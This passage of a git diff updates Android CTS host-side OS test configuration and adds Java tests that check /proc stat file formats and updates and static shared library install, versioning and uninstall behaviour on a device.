diff --git a/hostsidetests/os/AndroidTest.xml b/hostsidetests/os/AndroidTest.xml
index ff6e6b0..261c29d 100644
--- a/hostsidetests/os/AndroidTest.xml
+++ b/hostsidetests/os/AndroidTest.xml
@@ -14,11 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS OS host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDeviceOsTestApp.apk" />
+        <option name="test-file-name" value="CtsHostProcfsTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsOsHostTestCases.jar" />
+        <option name="runtime-hint" value="12m30s" />
     </test>
 </configuration>
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 200ef40..3b2e027 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -16,8 +16,7 @@
 
 package android.os.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
@@ -25,6 +24,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import java.io.BufferedOutputStream;
 import java.io.File;
@@ -145,6 +145,7 @@
      * Helper: find a test apk
      */
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        return MigrationHelper.getTestFile(mCtsBuild, fileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        return buildHelper.getTestFile(fileName);
     }
 }
diff --git a/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
new file mode 100644
index 0000000..d2c463a
--- /dev/null
+++ b/hostsidetests/os/src/android/os/cts/ProcfsHostTests.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.File;
+import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class ProcfsHostTests extends DeviceTestCase implements IBuildReceiver {
+  // We need a running test app to test /proc/[PID]/* files.
+  private static final String TEST_APP_PACKAGE = "android.os.procfs";
+  private static final String TEST_APP_CLASS = "ProcfsTest";
+  private static final String APK_NAME = "CtsHostProcfsTestApp.apk";
+  private static final String START_TEST_APP_COMMAND =
+      String.format(
+          "am start -W -a android.intent.action.MAIN -n %s/%s.%s",
+          TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_APP_CLASS);
+  private static final String TEST_APP_LOG_REGEXP = "PID is (\\d+)";
+  private static final Pattern TEST_APP_LOG_PATTERN = Pattern.compile(TEST_APP_LOG_REGEXP);
+
+  private static final String PROC_STAT_PATH = "/proc/stat";
+  private static final String PROC_STAT_READ_COMMAND = "head -1 ";
+  // Verfies the first line of /proc/stat includes 'cpu' followed by 10 numbers.
+  // The 10th column was introduced in kernel version 2.6.33.
+  private static final String PROC_STAT_REGEXP = "cpu ( \\d+){10,10}";
+  private static final Pattern PROC_STAT_PATTERN = Pattern.compile(PROC_STAT_REGEXP);
+
+  // In Linux, a process's stat file (/proc/[PID]/stat) and a thread's (/proc/[PID]/task/[TID]/stat)
+  // share the same format. We want to verify these stat files include pid (a number), file name
+  // (a string in parentheses), and state (a character), followed by 41 or more numbers.
+  // The 44th column was introduced in kernel version 2.6.24.
+  private static final String PID_TID_STAT_REGEXP = "\\d+ \\(.*\\) [A-Za-z]( [\\d-]+){41,}";
+  private static final Pattern PID_TID_STAT_PATTERN = Pattern.compile(PID_TID_STAT_REGEXP);
+
+  // Interval in milliseconds between two sequential reads when checking whether a file is being
+  // updated.
+  private static final long UPDATE_READ_INTERVAL_MS = 100;
+  // Max time in milliseconds waiting for a file being update. If a file's content does not change
+  // during the period, it is not considered being actively updated.
+  private static final long UPDATE_MAX_WAIT_TIME_MS = 5000;
+
+  // A reference to the device under test, which gives us a handle to run commands.
+  private ITestDevice mDevice;
+
+  private int mTestAppPid = -1;
+
+  private IBuildInfo mBuild;
+
+  @Override
+  public void setBuild(IBuildInfo buildInfo) {
+      mBuild = buildInfo;
+  }
+
+  @Override
+  protected synchronized void setUp() throws Exception {
+    super.setUp();
+    mDevice = getDevice();
+    mTestAppPid = startTestApp();
+  }
+
+  /**
+   * Tests that host, as the shell user, can read /proc/stat file, the file is in a reasonable
+   * shape, and the file is being updated.
+   *
+   * @throws Exception
+   */
+  public void testProcStat() throws Exception {
+    testFile(PROC_STAT_PATH, PROC_STAT_READ_COMMAND, PROC_STAT_PATTERN);
+  }
+
+  /**
+   * Tests that host, as the shell user, can read /proc/[PID]/stat file, the file is in a reasonable
+   * shape, and the file is being updated.
+   *
+   * @throws Exception
+   */
+  public void testProcPidStat() throws Exception {
+    testFile("/proc/" + mTestAppPid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+  }
+
+  /**
+   * Tests that host, as the shell user, can read /proc/[PID]/task/[TID]/stat files, and the files
+   * are in a reasonable shape. Also verifies there are more than one such files (a typical Android
+   * app easily has 10+ threads including those from Android runtime).
+   *
+   * <p>Note we are not testing whether these files are being updated because some Android runtime
+   * threads may be idling for a while so it is hard to test whether they are being updated within a
+   * limited time window (such as 'Profile Saver' thread in art/runtime/jit/profile_saver.h and
+   * 'JDWP' thread).
+   *
+   * @throws Exception
+   */
+  public void testProcTidStat() throws Exception {
+    int[] tids = lookForTidsInProcess(mTestAppPid);
+    assertTrue("/proc/" + mTestAppPid + "/task/ includes < 2 threads", tids.length >= 2);
+    for (int tid : tids) {
+      readAndCheckFile(
+          "/proc/" + mTestAppPid + "/task/" + tid + "/stat", "cat ", PID_TID_STAT_PATTERN);
+    }
+  }
+
+  /**
+   * Tests that host, as the shell user, can read the file at the given absolute path by using the
+   * given read command, the file is in the expected format pattern, and the file is being updated.
+   *
+   * @throws Exception
+   */
+  private void testFile(String absolutePath, String readCommand, Pattern pattern) throws Exception {
+    String content = readAndCheckFile(absolutePath, readCommand, pattern);
+
+    // Check the file is being updated.
+    long waitTime = 0;
+    while (waitTime < UPDATE_MAX_WAIT_TIME_MS) {
+      java.lang.Thread.sleep(UPDATE_READ_INTERVAL_MS);
+      waitTime += UPDATE_READ_INTERVAL_MS;
+      String newContent = readAndCheckFile(absolutePath, readCommand, pattern);
+      if (!newContent.equals(content)) {
+        return;
+      }
+    }
+    assertTrue(absolutePath + " not actively updated. Content: \"" + content + "\"", false);
+  }
+
+  /**
+   * Starts the test app and returns its process ID.
+   *
+   * @throws Exception
+   */
+  private int startTestApp() throws Exception {
+
+    // Uninstall+install the app
+    mDevice.uninstallPackage(TEST_APP_PACKAGE);
+    CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+    File app = buildHelper.getTestFile(APK_NAME);
+    String[] options = {};
+    mDevice.installPackage(app, false, options);
+
+    // Clear logcat.
+    mDevice.executeAdbCommand("logcat", "-c");
+    // Start the app activity and wait for it to complete.
+    String results = mDevice.executeShellCommand(START_TEST_APP_COMMAND);
+    // Dump logcat.
+    String logs =
+        mDevice.executeAdbCommand("logcat", "-v", "brief", "-d", TEST_APP_CLASS + ":I", "*:S");
+    // Search for string contianing the process ID.
+    int pid = -1;
+    Scanner in = new Scanner(logs);
+    while (in.hasNextLine()) {
+      String line = in.nextLine();
+      if (line.startsWith("I/" + TEST_APP_CLASS)) {
+        Matcher m = TEST_APP_LOG_PATTERN.matcher(line.split(":")[1].trim());
+        if (m.matches()) {
+          pid = Integer.parseInt(m.group(1));
+        }
+      }
+    }
+    in.close();
+    // Assert test app's pid is captured from log.
+    assertTrue(
+        "Test app PID not captured. results = \"" + results + "\"; logs = \"" + logs + "\"",
+        pid > 0);
+    return pid;
+  }
+
+  /**
+   * Reads and returns the file content at the given absolute path by using the given read command,
+   * after ensuring it is in the expected pattern.
+   *
+   * @throws Exception
+   */
+  private String readAndCheckFile(String absolutePath, String readCommand, Pattern pattern)
+      throws Exception {
+    String readResult = getDevice().executeShellCommand(readCommand + absolutePath);
+    assertNotNull("Unexpected empty file " + absolutePath, readResult);
+    readResult = readResult.trim();
+    assertTrue(
+        "Unexpected format of " + absolutePath + ": \"" + readResult + "\"",
+        pattern.matcher(readResult).matches());
+    return readResult;
+  }
+
+  /**
+   * Returns the thread IDs in a given process.
+   *
+   * @throws Exception
+   */
+  private int[] lookForTidsInProcess(int pid) throws Exception {
+    String taskPath = "/proc/" + pid + "/task";
+    // Explicitly pass -1 to 'ls' to get one per line rather than relying on adb not allocating a
+    // tty.
+    String lsOutput = getDevice().executeShellCommand("ls -1 " + taskPath);
+    assertNotNull("Unexpected empty directory " + taskPath, lsOutput);
+
+    String[] threads = lsOutput.split("\\s+");
+    int[] tids = new int[threads.length];
+    for (int i = 0; i < threads.length; i++) {
+      tids[i] = Integer.parseInt(threads[i]);
+    }
+    return tids;
+  }
+}
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
new file mode 100644
index 0000000..549fdc0
--- /dev/null
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -0,0 +1,481 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Map;
+
+public class StaticSharedLibsHostTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String ANDROID_JUNIT_RUNNER_CLASS =
+            "android.support.test.runner.AndroidJUnitRunner";
+
+    private static final String STATIC_LIB_PROVIDER_RECURSIVE_APK =
+            "CtsStaticSharedLibProviderRecursive.apk";
+    private static final String STATIC_LIB_PROVIDER_RECURSIVE_PKG =
+            "android.os.lib.provider.recursive";
+
+    private static final String STATIC_LIB_PROVIDER1_APK = "CtsStaticSharedLibProviderApp1.apk";
+    private static final String STATIC_LIB_PROVIDER1_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_PROVIDER2_APK = "CtsStaticSharedLibProviderApp2.apk";
+    private static final String STATIC_LIB_PROVIDER2_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_PROVIDER3_APK = "CtsStaticSharedLibProviderApp3.apk";
+    private static final String STATIC_LIB_PROVIDER3_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_PROVIDER4_APK = "CtsStaticSharedLibProviderApp4.apk";
+    private static final String STATIC_LIB_PROVIDER4_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_PROVIDER5_APK = "CtsStaticSharedLibProviderApp5.apk";
+    private static final String STATIC_LIB_PROVIDER5_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_PROVIDER6_APK = "CtsStaticSharedLibProviderApp6.apk";
+    private static final String STATIC_LIB_PROVIDER6_PKG = "android.os.lib.provider";
+
+    private static final String STATIC_LIB_NATIVE_PROVIDER_APK =
+            "CtsStaticSharedNativeLibProvider.apk";
+    private static final String STATIC_LIB_NATIVE_PROVIDER_PKG =
+            "android.os.lib.provider";
+
+    private static final String STATIC_LIB_NATIVE_PROVIDER_APK1 =
+            "CtsStaticSharedNativeLibProvider1.apk";
+    private static final String STATIC_LIB_NATIVE_PROVIDER_PKG1 =
+            "android.os.lib.provider";
+
+    private static final String STATIC_LIB_CONSUMER1_APK = "CtsStaticSharedLibConsumerApp1.apk";
+    private static final String STATIC_LIB_CONSUMER1_PKG = "android.os.lib.consumer1";
+
+    private static final String STATIC_LIB_CONSUMER2_APK = "CtsStaticSharedLibConsumerApp2.apk";
+    private static final String STATIC_LIB_CONSUMER2_PKG = "android.os.lib.consumer2";
+
+    private static final String STATIC_LIB_NATIVE_CONSUMER_APK
+            = "CtsStaticSharedNativeLibConsumer.apk";
+    private static final String STATIC_LIB_NATIVE_CONSUMER_PKG
+            = "android.os.lib.consumer";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    public void testInstallSharedLibrary() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install version 1
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install version 2
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Uninstall version 1
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
+            // Uninstall version 2
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG));
+            // Uninstall dependency
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testCannotInstallSharedLibraryWithMissingDependency() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        try {
+            // Install version 1 - should fail - no dependency
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        }
+    }
+
+    public void testLoadCodeAndResourcesFromSharedLibraryRecursively() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install the library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install the client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER1_APK), false, false));
+            // Try to load code and resources
+            runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
+                    "android.os.lib.consumer1.UseSharedLibraryTest",
+                    "testLoadCodeAndResources");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testCannotUninstallUsedSharedLibrary1() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install the library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // The library dependency cannot be uninstalled
+            assertNotNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG));
+            // Now the library dependency can be uninstalled
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
+            // Uninstall dependency
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testCannotUninstallUsedSharedLibrary2() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install the library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install the client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER1_APK), false, false));
+            // The library cannot be uninstalled
+            assertNotNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
+            // Uninstall the client
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG));
+            // Now the library can be uninstalled
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
+            // Uninstall dependency
+            assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testLibraryVersionsAndVersionCodesSameOrder() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER3_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install library version 1 with version code 1
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install library version 2 with version code 4
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Shouldn't be able to install library version 3 with version code 3
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER3_APK), false, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER3_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testCannotInstallAppWithMissingLibrary() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        try {
+            // Shouldn't be able to install an app if a dependency lib is missing
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER1_APK), false, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        }
+    }
+
+    public void testCanReplaceLibraryIfVersionAndVersionCodeSame() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install a library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Cannot install the library (need to reinstall)
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Can reinstall the library if version and version code same
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), true, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testUninstallSpecificLibraryVersion() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install library version 1 with version code 1
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install library version 2 with version code 4
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Uninstall the library package with version code 4 (version 2)
+            assertTrue(getDevice().executeShellCommand("pm uninstall --versionCode 4 "
+                    + STATIC_LIB_PROVIDER1_PKG).startsWith("Success"));
+            // Uninstall the library package with version code 1 (version 1)
+            assertTrue(getDevice().executeShellCommand("pm uninstall "
+                    + STATIC_LIB_PROVIDER1_PKG).startsWith("Success"));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testKeyRotation() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+        try {
+            // Install a library version specifying an upgrade key set
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Install a newer library signed with the upgrade key set
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER4_APK), false, false));
+            // Install a client that depends on the upgraded key set
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER2_APK), false, false));
+            // Ensure code and resources can be loaded
+            runDeviceTests(STATIC_LIB_CONSUMER2_PKG,
+                    "android.os.lib.consumer2.UseSharedLibraryTest",
+                    "testLoadCodeAndResources");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+        }
+    }
+
+    public void testCannotInstallIncorrectlySignedLibrary() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install a library version not specifying an upgrade key set
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Shouldn't be able to install a newer version signed differently
+            assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER4_APK), false, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testLibraryAndPackageNameCanMatch() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER6_PKG);
+        try {
+            // Install a library with same name as package should work.
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER5_APK), false, false));
+            // Install a library with same name as package should work.
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER6_APK), true, false));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER6_PKG);
+        }
+    }
+
+    public void testGetSharedLibraries() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install the first library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install the second library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Install the third library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER4_APK), false, false));
+            // Install the first client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER1_APK), false, false));
+            // Install the second client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_CONSUMER2_APK), false, false));
+            // Ensure libraries are properly reported
+            runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
+                    "android.os.lib.consumer1.UseSharedLibraryTest",
+                    "testSharedLibrariesProperlyReported");
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        }
+    }
+
+    public void testAppCanSeeOnlyLibrariesItDependOn() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
+        try {
+            // Install library dependency
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+            // Install the first library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER1_APK), false, false));
+            // Install the second library
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                    STATIC_LIB_PROVIDER2_APK), false, false));
+            // Install the client
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
